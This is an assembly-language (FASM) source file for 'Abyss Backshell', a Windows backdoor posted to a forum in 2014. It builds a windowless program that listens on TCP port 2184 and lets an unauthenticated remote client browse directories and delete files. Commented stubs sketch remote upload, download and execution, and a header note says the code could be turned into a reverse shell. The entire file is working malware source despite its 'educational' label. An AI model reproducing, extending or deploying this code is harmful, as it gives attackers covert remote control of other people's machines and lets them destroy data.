format pe gui 4.0

;
; Abyss Backshell | (c) typedef @ board.flatassembler.net 2014
;
; A simple backdoor shell. This implementation lacks security and other features.
; - Only allows one connection at a time. For educational intentions only.
; - Uses active connection (Client connects to it) but can be modified to use passive/reverse connection (connects to client)
;
; - Protocol in use is understandable even your Grandma is wise enough to find a client for it.
;

WINSOCK_VERSION =   0x0202
IPPROTO_TCP	=   0x6
SO_RCVTIMEO	=   0x1006
SOL_SOCKET	=   0xffff

include 'win32ax.inc'

entry	main

section '.data' data readable writeable

align 4

;
; Socket stuff
;
wsa_data WSADATA

;
; sockaddr_in
;
sai_client	sockaddr_in

sai_local:
		dw	AF_INET
		dw	$8808  ; htons(2184)  Service port
		dd	0x00000000
		db	8 dup(0)

dwSizeOfSai	dd	sizeof.sockaddr_in
fd_server	dd	0xFFFFFFFF
fd_client	dd	0xFFFFFFFF

recv_timeout	dd	(100)
size_of_option = $ - recv_timeout

;
; Maximum working buffer size
;
MAX_WORKBUF_LEN        EQU	1024

; Size of received data
dwDataLen	       dd	0

; The data received will be written here
pData		       db	MAX_WORKBUF_LEN+2 dup(0)
tempBuffer	       db	1024 dup(0)
pszCurDir	       db	MAX_PATH+1 dup(0)

pszWelcome	       db	'- Abyss Backdoor Shell -',13,10,0
pszSessionEnd	       db	'- Out Of The Abyss You Go -',13,10,0
pszAppExit	       db	'- This Is The End My Friend -',13,10,0
pszDafuq	       db	'- Dafuq Is That? -',13,10,0
pszLastError	       db	'- Last Error Code : 0x%.8X -',13,10,0
; file				attributes size name
pszFormatA	       db	'0x%.08X 0x%.08X%.08X %s',13,10,0
pszHelp 	       db	'- Accepted Commands -',13,10
		       db	'HELP - Show this help.',13,10
		       db	'SDIR - Show current directory.',13,10
		       db	'CDIR - Change current directory.',13,10
		       db	'EXIT - End session.',13,10
		       db	'TERM - Terminate shell.',13,10
		       db	'LIST - List all files in current directory.',13,10
		       db	'DELE - Delete file.',13,10,0
		      ;db	'UPLD - Upload file to specified HTTP server',13,10
		      ;db	'DWLD - Download file from specified HTTP server',13,10
		      ;db	'EXER - Execute file and return',13,10
		      ;db	'EXEW - Execute and wait for process to finish. Reports return code',13,10,0

nHelpStringLen	       = $ - pszHelp

find_data	       WIN32_FIND_DATAA
hFind		       dd	?

section '.code' code readable executable

;
;  list files in dir
;
;  int __stdcall dir_listA()
;
dir_listA:
	push	ebx

	; return value
	xor	ebx,	ebx

	; use wildcard listing
	mov	dword[pszCurDir], $0000002A  ; '*'

	push	find_data
	push	pszCurDir
	call	[FindFirstFileA]
	cmp	eax,	INVALID_HANDLE_VALUE
	jne	@F

	; failed
	xor	eax,	eax
	jmp	.exit
@@:
	mov	[hFind],     eax
.format:

	push	 find_data.cFileName
	push	 dword[find_data.nFileSizeLow]
	push	 dword[find_data.nFileSizeHigh]
	push	 dword[find_data.dwFileAttributes]
	push	 pszFormatA
	push	 pData
	call	 [wsprintfA]
	add	 esp,	6*4

	; send
	push	  pData
	call	  write_clientA
	test	  eax,	eax
	je	  .close_find	      ; send failed

	; more files?
	push	  find_data
	push	  dword[hFind]
	call	  [FindNextFileA]
	test	  eax,	eax
	jne	  .format

	; return TRUE
	inc	   ebx
.close_find:
	push	    dword[hFind]
	call	    [FindClose]
.exit:
	mov	   eax, ebx
	pop	   ebx
	retn


macro session_end
{
	push	dword[fd_client]
	call	[closesocket]
	push	dword[fd_server]
	call	[closesocket]
	jmp	.new_instance	      ; yield for next client
}

;
; Read data from client socket.
; BOOL __stdcall read_client()
;
read_client:
.read:
	push	NULL
	push	(MAX_WORKBUF_LEN-1)
	push	pData
	push	dword[fd_client]
	call	[recv]
	cmp	eax,	0
	jle	 .error_check

	; clear last error
	push	eax

	push	0
	call	[SetLastError]

	pop	eax

	; save number of received bytes
	mov	dword[dwDataLen],   eax
	jmp	.return

.error_check:
	; check last error
	call	[WSAGetLastError]
	cmp	eax,	10060 ;WSAETIMEDOUT
	je     .read	; retry
.error:
	xor	eax,	eax
.return:
	retn


;
; Write data to client socket.
; BOOL __stdcall write_client(char * str, int len)
;
write_client:
	push	ebp
	mov	ebp,	esp

	push	NULL
	push	dword[ebp+12]
	push	dword[ebp+8]
	push	dword[fd_client]
	call	[send]
	cmp	eax,	0
	jg	.return
	xor	eax,	eax
.return:
	pop	ebp
	retn	8

;
; Write data to client socket.
; BOOL __stdcall write_client(char * str)
;
write_clientA:
	push	ebp
	mov	ebp,	esp

	push	dword[ebp+8]
	call	[lstrlenA]

	push	eax
	push	dword[ebp+8]
	call	write_client

	pop	ebp
	retn	4

;
; VOID __stdcall flush_client()
;
flush_client:
	push	NULL
	push	1024
	push	tempBuffer
	push	dword[fd_client]
	call	[recv]
	cmp	eax,	1
	jge	flush_client

	; clear last error (WSAETIMEDOUT)
	push	0
	call	[SetLastError]
	retn
;
; Entry point
;
main:
	; start winsock
	push	wsa_data
	push	WINSOCK_VERSION
	call	[WSAStartup]
	test	eax,	eax
	jnz	 .exit

	; we can use setsockopt(sd, SOL_SOCKET, SO_CONDITIONAL_ACCEPT, (char*)&nTrue, sizeof(nTrue));
	; to only allow one connection but this is also OK for lower versions of winsock (<2.00)
.new_instance:
	; create socket
	push	 IPPROTO_TCP
	push	 SOCK_STREAM
	push	 AF_INET
	call	 [socket]
	cmp	 eax,	0xFFFFFFFF
	je	 .cleanup

	mov	dword[fd_server], eax

	; bind
	push	 sizeof.sockaddr_in
	push	 sai_local
	push	 eax
	call	 [bind]
	test	 eax,	eax
	jnz	 .server_x

	; listen
	push	 1
	push	 dword[fd_server]
	call	 [listen]
	test	 eax,	eax
	jnz	 .server_x

	; accept client
	push	 dwSizeOfSai
	push	 sai_client
	push	 dword[fd_server]
	call	 [accept]
	cmp	 eax,	0xFFFFFFFF
	je	 .server_x

	mov	 dword[fd_client], eax

	; set socket read timeout
	push	 size_of_option
	push	 recv_timeout
	push	 SO_RCVTIMEO
	push	 SOL_SOCKET
	push	 eax
	call	 [setsockopt]

	; shutdown server. Do not receive any more connections durion this session
	push	 dword[fd_server]
	call	 [closesocket]

	; send welcome
	push	  pszWelcome
	call	  write_clientA
	test	  eax,	eax
	jnz	 .get_cmd

	; send failed. Close client socket
	session_end
.get_cmd:
	; zero-fill reading buffer and read command
	; EDI is not used anywhere. Can be trashed.
	cld
	xor	 eax,  eax
	mov	 ecx,  MAX_WORKBUF_LEN / 4
	mov	 edi,  pData
	rep	 stosd

	call	 read_client
	test	 eax,	eax
	jnz	 @F

	; recv failed. Close client socket
	session_end
@@:
	; flush all data we won't use
	call	flush_client

	; convert command text to lower case
	mov    eax,  dword[pData]
	or     eax,  $20202020

	; exit command?
	cmp    eax,  'exit'
	jne    @F

	; exit (end the session)
	push	pszSessionEnd
	call	write_clientA

	; end session
	session_end
@@:
	; TERMinate command?
	cmp    eax,  'term'
	jne    @F

	; shutdown server & exit application
	push	pszAppExit
	call	write_clientA
	jmp	.client_x
@@:
	cmp    eax,  'sdir'   ;print current dir
	jne    @F

	; get current dir
	push	pData
	push	MAX_PATH
	call	[GetCurrentDirectoryA]
	mov	dword[pData + eax], $000A0D;$0D0A00    ; CRLFNULL

	lea	eax, [eax+3]

	push	eax
	push	pData
	call	write_client
	jmp	.get_cmd

@@:
	cmp	eax, 'list'
	jne	@F

	; list files in currently set directory
	call	 dir_listA
	test	 eax,	eax
	jne	 .continue

	; failed/error
	call	[GetLastError]

	push	eax
	push	pszLastError
	push	pData
	call	[wsprintfA]
	add	esp, 3 * 4

	push	pData
	call	write_clientA
	test	eax,	eax
	jne	.continue

	; The error was a socket error
	session_end

.continue:
	jmp	.get_cmd

@@:
	cmp	eax,	'help'
	jne	@F

	; show help
	push	nHelpStringLen
	push	pszHelp
	call	write_client
	jmp	.get_cmd

@@:
	cmp	eax,	'cdir'
	jne	@F

	; set current directory. Get directory after space
	lea	  eax, [pData+5]

	push	  eax
	call	  [SetCurrentDirectoryA]

	; get last error
	call	  [GetLastError]

	push	  eax
	push	  pszLastError
	push	  pData
	call	  [wsprintfA]
	add	  esp,	4*3

	push	  pData
	call	  write_clientA
	jmp	  .get_cmd

@@:
	cmp	   eax, 'dele'	; delete file
	jne	   .dafuq

	lea	   eax, [pData+5]
	push	   eax
	call	   [DeleteFileA]

	; get last error and report
	call	  [GetLastError]

	push	  eax
	push	  pszLastError
	push	  pData
	call	  [wsprintfA]
	add	  esp,	4*3

	push	  pData
	call	  write_clientA

	jmp	   .get_cmd
.dafuq:
	; dafuq you tryna say?
	push	  pszDafuq
	call	  write_clientA

	; get next command
	jmp	.get_cmd

.client_x:
	push	dword[fd_client]
	call	[closesocket]
.server_x:
	push	dword[fd_server]
	call	[closesocket]
.cleanup:
	call	[WSACleanup]
.exit:
	push	0
	call	[ExitProcess]


section '.idata' import data readable

library user32,'user32.dll',\
	kernel32,'kernel32.dll',\
	wsock32,'ws2_32.dll'

include 'api/user32.inc'
include 'api/kernel32.inc'
include 'api/wsock32.inc'